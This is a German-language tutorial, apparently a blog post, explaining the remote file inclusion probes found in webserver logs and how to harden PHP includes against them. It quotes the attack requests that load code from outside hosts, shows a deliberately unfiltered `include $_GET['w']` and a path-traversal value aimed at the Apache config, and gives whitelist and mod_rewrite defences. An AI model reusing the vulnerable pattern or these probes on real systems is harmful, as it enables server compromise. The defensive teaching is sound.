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Wer ab und an mal einen Blick in seine Webserver-Logdateien wirft (was man als ernsthafter Webmaster regelmäßig tun sollte), der wird vermutlich früher oder später über derartige, seltsame Seitenaufrufe stolpern:

• „GET /fooscript.php?w=http%3A%2F%2Fhonamfishing.co.kr%2Fphpmysqladmin%2Flibraries%2Foduzov%2Fneloze%2F HTTP/1.0“
• „GET /fooscript.php?w=http%3A%2F%2Fsahel55.com%2Farticles%2Fomaduro%2Fkimumid%2F HTTP/1.0“
• „GET /fooscript.php?w=http%3A%2F%2Fwww.altaiseer-eg.com%2Far%2Farticles%2Fjed%2Fumut%2F HTTP/1.0“
• „GET /fooscript.php?w=http%3A%2F%2Fwww.channelnewsperu.com%2Fimagenes%2Fpublicaciones%2Ffotos%2Fnepicu%2Fegul%2F HTTP/1.0“
• „GET /fooscript.php?w=http%3A%2F%2Fwww.cjp.spb.ru%2Fen%2Ftis%2Fleboma%2F HTTP/1.0“
• „GET /fooscript.php?w=http%3A%2F%2Fwww.electrofed.com%2F_app%2Fefc%2Fodoqu%2Fferus%2F HTTP/1.0“

Das Muster ist immer das gleiche: Innerhalb von kurzer Zeit werden mehrere relativ ähnliche Aufrufe von ein und der selben IP gestartet. Dabei wird ein wirklich auf dem Server befindliches Script (in diesem Beispiel fooscript.php) aufgerufen und dabei einer der (ebenfalls wirklich existierenden) Parameter mit einer URL einer auf einem anderen Server liegenden  Datei befüllt.

In den oben gezeigten Beispielen liegt unter den angegebenen Adressen eine Datei mit folgendem Inhalt:

<?php echo md5("just_a_test");?>

Es wird relativ schnell klar, was das eigentlich nur sein kann: Hier versucht jemand, eine Schwachstelle in den auf dem Server laufenden PHP-Scripten ausfindig zu machen.

PHP bietet nämlich die mächtige Funktionalität, auf URLs genau so lesend zuzugreifen wie auf lokal auf der Festplatte liegende Dateien. Das gilt für Datei-Operationen wie fopen genau so wie auch für – und hier wird’s für Hacker interessant – include und require.

Und wenn jetzt ein Programmierer so unvorsichtig war, in seinem Programm ungefiltert Werte aus dem Querystring an ein Include zu übergeben, der hat an diesem Punkt leider verloren.
<?php include $_GET['w'];?>

Was jetzt passiert ist folgendes: Das PHP-Script liest die im Seitenaufruf übergebene Web-Adresse aus und führt den dort liegenden Code aus. Es erscheint also der Text „c6db3524fe71d6c576098805a07e79e4“ in der Seite (das ist die MD5-Checksumme von „just_a_test“). Damit weiss der Angreifer, dass er an dieser Stelle beliebigen PHP-Programmcode auf den Server einschleußen kann. Und wenn er das kann, dann hat er die Kontrolle über den Server. Er kann beliebige Daten „hochspielen“, in der Datenbank tun und lassen, was er will, und, und, und…

Was also dagegen tun?

Einerseits ist das mit dem Zugriff auf URLs so wie auf normale Dateien schon eine praktische Sache. Oft kann man aber darauf verzichten. Die Holzhammer-Methode ist, in der php.ini die Einstellung allow_url_fopen zu deaktivieren. Damit ist man auf der sicheren Seite, hat aber das „Problem“, dass man damit eben die ganze Funktionalität abgeschaltet hat, und zwar nicht nur für include und require, sondern auch bei den anderen, nicht so problematischen Datei-Operationen.

Ganz davon abgesehen hat man sich damit noch nicht dagegen geschützt, dass mit dem oben genannten include-Statement doch noch Schabernak getrieben werden kann.

Häufig ist die Anwendung eines solchen Includes ja, dass es eine Art „Framework-Seite“ gibt, die beispielsweise das Layout beinhaltet und die Datenbank-Connection öffnet. Und darin werden dann einzelne Funktions-Module geladen. Man könnte sich beispielsweise vorstellen, dass mittels „index.php?w=home.php“ die Datei home.php den Startseiten-Inhalt an der richtigen Stelle einblendet, während „index.php?w=links.php“ im gleichen Layout eine Linkliste zeigt. Was aber, wenn ein Angreifer auf die Idee kommt, „index.php?w=/etc/apache2/apache2.conf“ aufzurufen? Bekommt er dann die Konfigurationsdatei des Apache-Webservers angezeigt?

Da hilft nur eines: Sicherstellen, dass auf jeden Fall nur erlaubte Include-Pfade angegeben werden können. Eine erste gute Idee ist es schon mal, beim Include vorne und hinten an den übergebenen Parameter etwas anzuhängen:
<?php include '/var/www/includes/' . $_GET['w'] . '.plugin.php';?>
Damit fällt erstens die Möglichkeit weg, per „http://…“ etwas von einem anderen Server zu laden, weil der damit generierte Dateiname keinen Sinn mehr macht. Ausserdem kann man nichts anderes mehr als Dateien „reinladen“, die mit „.plugin.php“ enden.

Schöner, aber immer noch nicht perfekt. Noch ist der Angreifer nämlich nicht ganz eingeschränkt. Noch immer kann er mit Aufruf von „index.php?w=../../foo/bar“ eine Datei aus einem anderen Verzeichnis als eigentlich vorgesehen aufrufen.

Ergo: Weiter filtern. Entweder mit einer Blacklist oder einer Whitelist.

Blacklist bedeutet: Wir suchen nach Mustern, die wir auf jeden Fall verbieten wollen. Wenn beispielsweise der übergebene Parameter „../“ enthält, dann brechen wir ab. Das gute daran ist, dass wir relativ flexibel erlauben oder verbieten können, wie auf die Seite zugegriffen werden kann. Der Nachteil allerdings ist, dass wir alle möglichen Angriffs-Strategien vorausahnen und unterbinden müssen.

Sicherer sind Whitelists: Hier sagen wir, was erlaubt ist. Wir können beispielsweise eine Liste aller erlaubten Werte in einem Array halten und überprüfen, ob der beim Aufruf übergebene Wert enthalten ist:
$ok = array('home', 'links', 'downloads');

if (in_array($_GET['w'], $ok)) {
  include '/var/www/includes/' . $_GET['w'] . '.plugin.php';
}
Dadurch verlieren wir aber einiges an Flexibilität, da wir jedes mal, wenn es eine neue Seite geben soll, auch den $ok-Array aktualisieren müssen. Wir könnten aber auch definieren, dass einfach alle include-Dateinamen einem bestimmten Muster folgen müssen. In etwa: Sie bestehen nur aus alphanumerischen Zeichen und Underscore. Ergebnis:
include '/var/www/includes/' .
preg_replace('/[^a-z0-9_]/i', '', $_GET['w']) .
'.plugin.php';
Und schon kommt uns an dieser Stelle nichts gemeines mehr rein.

So ganz ohne Haken ist das aber auch noch nicht: Erstens hat man bei fremden Scripten oft gar nicht so genau den Überblick, was darin eigentlich passiert – und zweitens muss man natürlich auch bei eigenen Scripten an jeder einzelnen relevanten Stelle aufpassen. Und last, but not least: Wenn das Script erst irgendwas halbwegs sinnvolles tut, dann aber wegen dem falschen Parameter abbricht, dann hat das zwar keine so fatalen Folgen mehr, kann aber einen negativen Beigeschmack haben.

Beispielsweise bringen solche Aufrufe gern Seiten-Abruf Statistiken durcheinander.

Deshalb zuletzt noch eine meiner Meinung nach sehr schöne Zusatzsicherung: Wenn man sicher sein kann, dass keines der auf dem Server laufenden Scripte ein „http:“ im Querystring erwartet, dann kann man einen Apache-Webserver mittels ein paar Zeilen in der .htaccess absichern. Bedingung ist allerdings, dass man mod_rewrite installiert hat.
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /--http-- [F,NC]
RewriteRule http: /--http-- [F,NC]
Diese Befehle durchsuchen den eingehenden Request nach „http:“, und falls es vorkommen sollte, so antwortet der Server sofort mit einem „Forbidden“. Der Angreifer ist also abgewehrt, bevor es überhaupt zur Ausführung von PHP-Code kommt.

Allerdings daran denken: An manchen Stellen mag es durchaus Sinn machen, „http“ als Parameter zu erlauben. Falls nicht, so ist das jedoch der Weg der Wahl – und falls doch, dann kann man auch dazu etwas mit mod_rewrite zaubern.